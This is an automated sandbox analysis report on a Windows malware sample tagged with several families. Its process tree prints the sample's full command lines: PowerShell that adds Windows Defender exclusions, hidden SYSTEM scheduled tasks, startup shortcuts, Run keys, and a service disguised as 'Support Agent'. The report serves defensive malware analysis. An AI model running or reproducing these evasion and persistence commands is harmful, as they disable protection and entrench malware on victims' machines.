0e4061ca4531599d0654df96b069e5a2897f7535371bad51e5490a1693626bea

Analysis

max time kernel
149s
max time network
130s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 7.4MB
Sample260415-xdhr6aa18z
SHA256 0e4061ca4531599d0654df96b069e5a2897f7535371bad51e5490a1693626bea
MD5 df07e1ea72aa2c1926efce00bdc21a60
SHA1 d82c82f88357a33d208f05d17ebe1f5a0577fb0a
SHA512 e9e158409c40f311fe2b36b2efd88c195703a43ebc3d32752cc160d9941f94b01104ae9e9c69965beb945369c477c7302a9a341bb415886c11ee2e9a8c121ee7
SSDEEP 98304:368h2LyXWy+MKKy19ogx4O6Kh61+CrKcigR:368h2LyXWy3KKy19ogx4hKhK5mcigR
TLSH
T1FD769E69B6BC00D9D87AC2BCC6465217E7B2B81517B057DF1A6486FA0F63AE01E7F700
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1080	powershell.exe
6108	powershell.exe
3960	powershell.exe
5752	powershell.exe
6108	powershell.exe
2604	powershell.exe
3932	powershell.exe
632	powershell.exe
2140	powershell.exe
1080	powershell.exe
1500	powershell.exe
4632	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk	powershell.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
240	sc.exe
3056	sc.exe
5996	sc.exe
2484	sc.exe
1740	sc.exe
2520	sc.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe
1500	powershell.exe
1500	powershell.exe
3960	powershell.exe
3960	powershell.exe
5752	powershell.exe
5752	powershell.exe
4632	powershell.exe
4632	powershell.exe
6108	powershell.exe
6108	powershell.exe
2604	powershell.exe
2604	powershell.exe
3932	powershell.exe
3932	powershell.exe
632	powershell.exe
632	powershell.exe
2140	powershell.exe
2140	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeIncreaseQuotaPrivilege	1500	powershell.exe
Token: SeSecurityPrivilege	1500	powershell.exe
Token: SeTakeOwnershipPrivilege	1500	powershell.exe
Token: SeLoadDriverPrivilege	1500	powershell.exe
Token: SeSystemProfilePrivilege	1500	powershell.exe
Token: SeSystemtimePrivilege	1500	powershell.exe
Token: SeProfSingleProcessPrivilege	1500	powershell.exe
Token: SeIncBasePriorityPrivilege	1500	powershell.exe
Token: SeCreatePagefilePrivilege	1500	powershell.exe
Token: SeBackupPrivilege	1500	powershell.exe
Token: SeRestorePrivilege	1500	powershell.exe
Token: SeShutdownPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeSystemEnvironmentPrivilege	1500	powershell.exe
Token: SeRemoteShutdownPrivilege	1500	powershell.exe
Token: SeUndockPrivilege	1500	powershell.exe
Token: SeManageVolumePrivilege	1500	powershell.exe
Token: 33	1500	powershell.exe
Token: 34	1500	powershell.exe
Token: 35	1500	powershell.exe
Token: 36	1500	powershell.exe
Token: SeIncreaseQuotaPrivilege	1500	powershell.exe
Token: SeSecurityPrivilege	1500	powershell.exe
Token: SeTakeOwnershipPrivilege	1500	powershell.exe
Token: SeLoadDriverPrivilege	1500	powershell.exe
Token: SeSystemProfilePrivilege	1500	powershell.exe
Token: SeSystemtimePrivilege	1500	powershell.exe
Token: SeProfSingleProcessPrivilege	1500	powershell.exe
Token: SeIncBasePriorityPrivilege	1500	powershell.exe
Token: SeCreatePagefilePrivilege	1500	powershell.exe
Token: SeBackupPrivilege	1500	powershell.exe
Token: SeRestorePrivilege	1500	powershell.exe
Token: SeShutdownPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeSystemEnvironmentPrivilege	1500	powershell.exe
Token: SeRemoteShutdownPrivilege	1500	powershell.exe
Token: SeUndockPrivilege	1500	powershell.exe
Token: SeManageVolumePrivilege	1500	powershell.exe
Token: 33	1500	powershell.exe
Token: 34	1500	powershell.exe
Token: 35	1500	powershell.exe
Token: 36	1500	powershell.exe
Token: SeIncreaseQuotaPrivilege	1500	powershell.exe
Token: SeSecurityPrivilege	1500	powershell.exe
Token: SeTakeOwnershipPrivilege	1500	powershell.exe
Token: SeLoadDriverPrivilege	1500	powershell.exe
Token: SeSystemProfilePrivilege	1500	powershell.exe
Token: SeSystemtimePrivilege	1500	powershell.exe
Token: SeProfSingleProcessPrivilege	1500	powershell.exe
Token: SeIncBasePriorityPrivilege	1500	powershell.exe
Token: SeCreatePagefilePrivilege	1500	powershell.exe
Token: SeBackupPrivilege	1500	powershell.exe
Token: SeRestorePrivilege	1500	powershell.exe
Token: SeShutdownPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeSystemEnvironmentPrivilege	1500	powershell.exe
Token: SeRemoteShutdownPrivilege	1500	powershell.exe
Token: SeUndockPrivilege	1500	powershell.exe
Token: SeManageVolumePrivilege	1500	powershell.exe
Token: 33	1500	powershell.exe
Token: 34	1500	powershell.exe
Token: 35	1500	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 5356	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	80
PID 5356 wrote to memory of 1080	5356	cmd.exe	82
PID 3340 wrote to memory of 3368	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	83
PID 3368 wrote to memory of 1500	3368	cmd.exe	85
PID 3340 wrote to memory of 3668	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	87
PID 3668 wrote to memory of 3960	3668	cmd.exe	89
PID 3340 wrote to memory of 5788	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	90
PID 5788 wrote to memory of 5752	5788	cmd.exe	92
PID 3340 wrote to memory of 1596	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	94
PID 1596 wrote to memory of 4632	1596	cmd.exe	97
PID 3388 wrote to memory of 3128	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	98
PID 3128 wrote to memory of 6108	3128	cmd.exe	100
PID 3340 wrote to memory of 1816	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	101
PID 1816 wrote to memory of 2520	1816	cmd.exe	103
PID 3340 wrote to memory of 2192	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	104
PID 2192 wrote to memory of 240	2192	cmd.exe	106
PID 3340 wrote to memory of 2556	3340	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	107
PID 2556 wrote to memory of 3056	2556	cmd.exe	109
PID 3388 wrote to memory of 1000	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	110
PID 1000 wrote to memory of 2604	1000	cmd.exe	112
PID 3388 wrote to memory of 4696	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	113
PID 4696 wrote to memory of 3932	4696	cmd.exe	115
PID 3388 wrote to memory of 1204	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	116
PID 1204 wrote to memory of 632	1204	cmd.exe	118
PID 3388 wrote to memory of 3980	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	119
PID 3980 wrote to memory of 2140	3980	cmd.exe	121
PID 3388 wrote to memory of 5928	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	122
PID 5928 wrote to memory of 5996	5928	cmd.exe	124
PID 3388 wrote to memory of 5896	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	125
PID 5896 wrote to memory of 2484	5896	cmd.exe	127
PID 3388 wrote to memory of 2296	3388	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	128
PID 2296 wrote to memory of 1740	2296	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\sc.exe
    sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
    3⤵
    - Launches sc.exe
    PID:2520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description SupportAgent "Support Agent remote management service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\sc.exe
    sc description SupportAgent "Support Agent remote management service"
    3⤵
    - Launches sc.exe
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\sc.exe
    sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
    3⤵
    - Launches sc.exe
    PID:3056

C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    PID:632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\system32\sc.exe
    sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
    3⤵
    - Launches sc.exe
    PID:5996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description SupportAgent "Support Agent remote management service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5896
- - C:\Windows\system32\sc.exe
    sc description SupportAgent "Support Agent remote management service"
    3⤵
    - Launches sc.exe
    PID:2484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\system32\sc.exe
    sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
    3⤵
    - Launches sc.exe
